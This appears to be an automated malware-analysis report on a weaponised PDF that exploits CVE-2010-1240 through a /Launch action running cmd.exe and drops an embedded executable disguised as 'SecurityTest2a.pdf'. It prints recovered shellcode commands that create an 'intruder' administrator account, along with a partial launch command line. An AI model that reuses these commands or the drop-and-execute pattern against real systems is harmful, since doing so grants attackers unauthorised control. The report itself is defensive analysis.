MALICIOUS
496
Risk Score
Malware Insights
MITRE ATT&CK
T1204.002 Malicious File
T1059.003 Windows Command Shell
T1566.001 Spearphishing Attachment
T1187 Exploitation for Client Execution
This PDF document exploits CVE-2010-1240 via a launch action to execute cmd.exe. It also contains an embedded Windows executable masquerading as a PDF file named 'SecurityTest2a.pdf'. The embedded JavaScript API 'this.exportDataObject' further indicates a dropper functionality, likely intended to download and execute a second-stage payload.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 12
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Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
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ClamAV: Pdf.Exploit.Agent-20504 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Exploit.Agent-20504
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Launch action critical PDF_LAUNCHPDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
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Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOADPDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
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/Launch action target: cmd.exe critical PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\SecurityTest2a.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
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Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCHAn /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
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/Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JSPDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded file low PDF_EMBEDDEDPDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.primopdf.com In PDF document text
- http://www.primopdf.com)/Author(newIn PDF document text
- http://www.microsoft.com/exportingIn extracted file (SecurityTest2a.pdf)
- http://crl.microsoft.com/pki/crl/products/CSPCA.crl0HIn extracted file (SecurityTest2a.pdf)
- http://www.microsoft.com/pki/certs/CSPCA.crt0In extracted file (SecurityTest2a.pdf)
- http://crl.microsoft.com/pki/crl/products/tspca.crl0HIn extracted file (SecurityTest2a.pdf)
- http://www.microsoft.com/pki/certs/tspca.crt0In extracted file (SecurityTest2a.pdf)
- http://www.microsoft.com/sysinternalsIn extracted file (SecurityTest2a.pdf)
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
SecurityTest2a.pdf |
pdf-embedded-file | PDF EmbeddedFile object 21 at offset 0xB818 | 107560 bytes |
SHA-256: bdb3430b055299861bceb5991174a8a42b098939cd9439f05ccadc07a36015f9 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
actual_type=PE; declared_or_context_type=PDF; filename=SecurityTest2a.pdf; kind=pdf-embedded-file Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS, SC_MSF_BIND, SC_STR_CMD Static shellcode analysis recovered API/import strings: LoadLibraryA, LoadLibraryExA, CreateFileA, kernel32.dll, KERNEL32.DLL, GetProcAddress Static shellcode analysis recovered command string(s): cmd.exe /c net user intruder notevil /ADD && net localgroup Admin, cmd.exe /c net user intruder notevil /ADD && net localgroup Administrators intruder /ADD
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javascript_obj0022_000.js |
pdf-javascript-stream | PDF /JS object 22 at offset 0x1778E | 63 bytes |
SHA-256: ecd29787207d6ec28819a7c704feb130c8662c34553166f96090ca5c274d7d9f |
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Preview scriptFirst 1,000 lines of the extracted script
this.exportDataObject({ cName: "SecurityTest2a", nLaunch: 0 });
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font_00_sfnt_off00000ffb.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0xFFB | 25548 bytes |
SHA-256: 3387428220788b4a55834005d6e7b7e83621c6d30598f861a594070e392ebf0e |
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font_01_sfnt_off00004f0f.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x4F0F | 40348 bytes |
SHA-256: 63fad509c3460e9470590681ef2a3ca89d38a4849882347be033125a333a464d |
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